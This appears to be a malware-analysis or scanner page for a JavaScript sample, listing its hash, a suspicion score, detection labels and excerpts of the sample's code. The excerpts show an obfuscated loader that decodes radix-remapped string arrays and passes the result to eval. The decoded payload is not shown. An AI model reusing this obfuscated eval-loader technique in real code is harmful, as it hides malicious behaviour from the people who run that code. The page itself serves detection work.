Suspicious ^80% javascript-malware-collection Download

b33b0513226d637346fa5afe49f21355eaeb2514d15f63afeecbc47aa792be07.unknown

obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256b33b0513226d637346fa5afe49f21355eaeb2514d15f63afeecbc47aa792be07

Evidence

parseInt toString radix remap lines 1–6

1:460… ','w','x','y','z','{','|','}','~','']
2function NYDUL(hHYIixEUsZi,bUBPwfeNXVyuk,RrDIvnWA){EEOd=parseInt(hHYIixEUsZi,bUBPwfeNXVyuk);IGXLb=EEOd.toString(RrDIvnWA);return IGXLb;}function dcgqBPXIQwkcmJT(CSbKnZqfqPThbunHp){eval(CSbKnZqfqPThbunHp)}
3function EehZsOYdkypqcfvbynfQGQppGLhaHEcPXlziryHkvhvQvSdRmKbACJ(iAQwSwbownCca,lwtgvhRunOKxeU){ return joVph[NYDUL(iAQwSwbownCca[lwtgvhRunOKxeU],(2106+582)/128,(111+769)/88)];}
4function OcbslqO(vtKKstVMqCqClvKsZvUcWfTuRcvgvzfjVWhx) {return !isNaN(parseFloat(vtKKstVMqCqClvKsZvUcWfTuRcvgvzfjVWhx)) && isFinite(vtKKstVMqCqClvKsZvUcWfTuRcvgvzfjVWhx);}
5function XJtWANDIeAn(gYlHJqUB,OQYrEE){return gYlHJqUB.split(OQYrEE)}
6var k=new Array("d","a","d","a","5d","4d","59","1b","3h","1b","2j","1b","1d","5a","56","4i","5b","28","5e","4h","4e", …

Obfuscated increment/decrement via arithmetic lines 8–11

8:4…  XlQtz=[k,X];
9var qvsDDnVOx=[];
10function YCffaYbkVNbXWsuWQ(XlQtz){oevFZsiogGp= '';TKWhFmXIuEr=(-629+629)/311; while(true){if(TKWhFmXIuEr >= (878+746)/812)break;qvsDDnVOx[TKWhFmXIuEr]=(-992+992)/38; while(true) { if(qvsDDnVOx[TKWhFmXIuEr] > XlQtz[TKWhFmXIuEr].length-(-464+954)/490) { break; } if (OcbslqO(NYDUL(XlQtz[TKWhFmXIuEr][qvsDDnVOx[TKWhFmXIuEr]],(9892+587)/499,(6665+15)/668))) {oevFZsiogGp += EehZsOYdkypqcfvbynfQGQppGLhaHEcPXlziryHkvhvQvSdRmKbACJ([XlQtz[TKWhFmXIuEr][qvsDDnVOx[TKWhFmXIuEr]]], (-959+959)/853);} qvsDDnVOx[TKWhFmXIuEr]++;}TKWhFmXIuEr++;} return oevFZsiogGp}
11dcgqBPXIQwkcmJT(YCffaYbkVNbXWsuWQ(XlQtz));